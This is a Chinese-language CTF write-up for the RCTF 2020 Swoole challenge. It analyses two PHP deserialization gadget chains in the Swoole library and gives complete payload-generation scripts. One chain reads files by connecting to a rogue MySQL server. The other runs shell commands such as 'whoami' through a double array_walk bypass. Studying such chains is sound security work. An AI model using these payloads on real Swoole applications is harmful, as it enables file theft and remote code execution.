First Gadgets–Rouge MySQL Server Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php function changeProperty ($object, $property, $value) { $a = new ReflectionClass($object); $b = $a->getProperty($property); $b->setAccessible(true ); $b->setValue($object, $value); } $c = new \Swoole\Database\PDOConfig(); $c->withHost('ROUGE_MYSQL_SERVER' ); $c->withPort(3306 ); $c->withOptions([ \PDO::MYSQL_ATTR_LOCAL_INFILE => 1 , \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1' ]); $a = new \Swoole\ConnectionPool(function () { }, 0 , '\\Swoole\\Database\\PDOPool' ); changeProperty($a, 'size' , 100 ); changeProperty($a, 'constructor' , $c); changeProperty($a, 'num' , 0 ); changeProperty($a, 'pool' , new \SplDoublyLinkedList()); $d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9' )); changeProperty($d, 'constructor' , [$a, 'get' ]); $curl = new \Swoole\Curl\Handler('http://www.baidu.com' ); $curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect' ]); $curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get' ]); $ret = new \Swoole\ObjectProxy(new stdClass); changeProperty($ret, '__object' , [$curl, 'exec' ]); $s = serialize($ret); $s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/' , function ($a) { return 's:' . ((int)$a[1 ] - strlen($a[2 ]) - 2 ) . ':"' ; }, $s); echo $s;echo "\n" ;
Analysis Hint
根据上面的提示大概可以猜测出是通过Rogue MySQL Server来读取文件,但是在旧版本中mysql的连接与参数配置顺序是颠倒的
可以看到在左面旧版本中是进行先数据库连接,再进行数据库选项配置。
并且在新版本中进行了更新,修复了Bug。
而Gadgets的挖掘是以旧版本为基础的,所以无法通过mysqli的连接方式配合恶意mysql进行文件读取,但是还有PDO连接可以用,通过可以实现相同的效果。下面就是调用链的分析了
ObjectProxy.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php /** * This file is part of Swoole. * * @link https://www.swoole.com * @contact team@swoole.com * @license https://github.com/swoole/library/blob/master/LICENSE */ declare(strict_types=1); namespace Swoole; use TypeError; class ObjectProxy { /** @var object */ protected $__object; public function __construct($object) { if (!is_object($object)) { throw new TypeError('Non-object given'); } $this->__object = $object; } public function __invoke(...$arguments) { /** @var mixed $object */ $object = $this->__object; return $object(...$arguments); } }
最终触发$object(…$arguments);的调用,而如果$object的赋值为[new A,’foo’]这样是可以调用A类的foo方法的,具体的demo如下
所以现在可以进行调用任意类的无参方法了,在这个Gadget中选取的Handler的exec方法
Handler#exec
1 2 3 4 5 6 7 public function exec () { if (!$this ->isAvailable()) { return false ; } return $this ->execute(); }
跟进execute函数(关键部分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 if ($client->headers) { $cb = $this ->headerFunction; if ($client->statusCode > 0 ) { $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n" ; if ($cb) { $cb($this , $row); } $headerContent .= $row; } foreach ($client->headers as $k => $v) { $row = "{$k}: {$v}\r\n" ; if ($cb) { $cb($this , $row); } $headerContent .= $row; } $headerContent .= "\r\n" ; $this ->info['header_size' ] = strlen($headerContent); if ($cb) { $cb($this , '' ); } } else { $this ->info['header_size' ] = 0 ; } if ($client->body and $this ->readFunction) { $cb = $this ->readFunction; $cb($this , $this ->outputStream, strlen($client->body)); }
可以看到两个关键部分
1 2 3 4 5 6 7 8 $cb = $this ->headerFunction; $cb($this , $row); $cb = $this ->readFunction; $cb($this , $this ->outputStream, strlen($client->body));
将第一个$cb设置为MysqliProxy#reconnect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function reconnect () : void { $constructor = $this ->constructor; parent ::__construct($constructor()); $this ->round++; if ($this ->charsetContext) { $this ->__object->set_charset($this ->charsetContext); } if ($this ->setOptContext) { foreach ($this ->setOptContext as $opt => $val) { $this ->__object->set_opt($opt, $val); } } if ($this ->changeUserContext) { $this ->__object->change_user(...$this ->changeUserContext); } }
将$constructor设置为ConnectionPool#get
跟进get函数
1 2 3 4 5 6 7 8 9 10 public function get () { if ($this ->pool === null ) { throw new RuntimeException('Pool has been closed' ); } if ($this ->pool->isEmpty() && $this ->num < $this ->size) { $this ->make(); } return $this ->pool->pop(); }
在满足一定条件的情况下进入make函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected function make () : void { $this ->num++; try { if ($this ->proxy) { $connection = new $this ->proxy($this ->constructor); } else { $constructor = $this ->constructor; $connection = $constructor(); } } catch (Throwable $throwable) { $this ->num--; throw $throwable; } $this ->put($connection); }
从以上代码可以看出make函数可以实例化任意类,所以我们可以将proxy设置为PDOPool,将constructor变量设置为PDOConfig,从而得到一个完整的PDO实例。接着跟进put函数
1 2 3 4 5 6 7 8 9 10 11 12 13 public function put ($connection) : void { if ($this ->pool === null ) { return ; } if ($connection !== null ) { $this ->pool->push($connection); } else { $this ->num -= 1 ; $this ->make(); } }
在put函数中通过push将已经实例化好的类压入栈中,跟完make函数后,紧接着到下面的pop函数
1 return $this ->pool->pop();
将刚压入栈中的实例化PDOPool类弹出并返回作为父类的构造函数的参数传给__object变量
参数设置部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function changeProperty ($object, $property, $value) { $a = new ReflectionClass($object); $b = $a->getProperty($property); $b->setAccessible(true ); $b->setValue($object, $value); } $c = new \Swoole\Database\PDOConfig(); $c->withHost('ROUGE_MYSQL_SERVER' ); $c->withPort(3306 ); $c->withOptions([ \PDO::MYSQL_ATTR_LOCAL_INFILE => 1 , \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1' ]); $a = new \Swoole\ConnectionPool(function () { }, 0 , '\\Swoole\\Database\\PDOPool' ); changeProperty($a, 'size' , 100 ); changeProperty($a, 'constructor' , $c); changeProperty($a, 'num' , 0 ); changeProperty($a, 'pool' , new \SplDoublyLinkedList());
跟进父类__construct的构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 class ObjectProxy { protected $__object; public function __construct ($object) { if (!is_object($object)) { throw new TypeError('Non-object given' ); } $this ->__object = $object; } }
此时ObjectProxy类的__object变量即为我们的PDOPool类
不过还需要注意的是ConnectionPool类中的Pool变量为Channel类,在此版本已经移除了其序列化,所以我们需要fuzz下同时支持isEmpty/pop/Empty三种方法的内部类,fuzz结果如下:
从上面选取一个类使用即可。
接着看第二个$cb的利用,设置Handler类readFunction为MysqliProxy中的get方法
在触发get方法的时候,由于MysqliProxy并不存在这个方法,所以触发__call方法
1 2 3 4 5 6 7 8 9 10 11 public function __call (string $name, array $arguments) { for ($n = 3 ; $n--;) { $ret = @$this ->__object->{$name}(...$arguments); if ($ret === false ) { ..... } return $ret; }
由于MysqliProxy为ObjectProxy类的子类,所以这里实际触发的是PDOPool->get方法,最终完成PDO数据库连接,触发恶意mysql服务器完成数据读取,这里PDOPool类中的Pool变量并不用管,与ConnectPool类不同的是Pool变量是在反序列化的过程生成的,不会存在反序列化数据中。
Conclusion 1.利用反射进行属性修改
2.寻找pop链的时候,注意父类与子类的联系,子类可以用父类的属性,比如在此pop链中MysqliProxy可以用父类ObjectProxy中_object的属性值。
Second Gadgets–RCE Exploit 1 2 3 4 5 6 7 8 9 10 11 $o = new Swoole\Curl\Handlep("http://google.com/" ); $o->setOpt(CURLOPT_READFUNCTION,"array_walk" ); $o->setOpt(CURLOPT_FILE, "array_walk" ); $o->exec = array ('whoami' ); $o->setOpt(CURLOPT_POST,1 ); $o->setOpt(CURLOPT_POSTFIELDS,"aaa" ); $o->setOpt(CURLOPT_HTTPHEADER,["Content-type" =>"application/json" ]); $o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1); $a = serialize([$o,'exec' ]); echo str_replace("Handlep" ,"Handler" ,urlencode(process_serialized($a)));
Analyisis 主要是从寻找任意类的无参函数的调用开始有所区别
这RCE这条链中主要是对于这种形式如 Func($this,$var,$num)的fuzz。
大概如下
这里主要用到的是array_walk对Object的一些触发,具体demo如下:
所以正常情况下我们只需要设置下exec就可以完成命令执行了
但是在swoole中的exec调用并不是真正的exec,实际上调用的是hook后的swoole_exec
https://github.com/swoole/swoole-src/blob/f1a66611d8779114afbb0638d18c528689194ac8/swoole_runtime.cc#L1270
在发生错误时会直接产生Fatal Error,终止运行。
可以通过如下方法来bypass
1 2 3 4 5 6 7 8 array_walk($this, array_walk, 1); $this->exec=array("id") 调用=> array_walk($client_value,"client",1)=>callback not found => warning array_walk(array("id"),"exec",1)=> finish RCE
Conclusion 1.array_walk也可以遍历对象来进行函数调用
2.二次array_walk bypass swoole_exec
Reference link https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2020/swoole
https://blog.sometimenaive.com/2020/06/04/rctf-2020-swoole-writeup/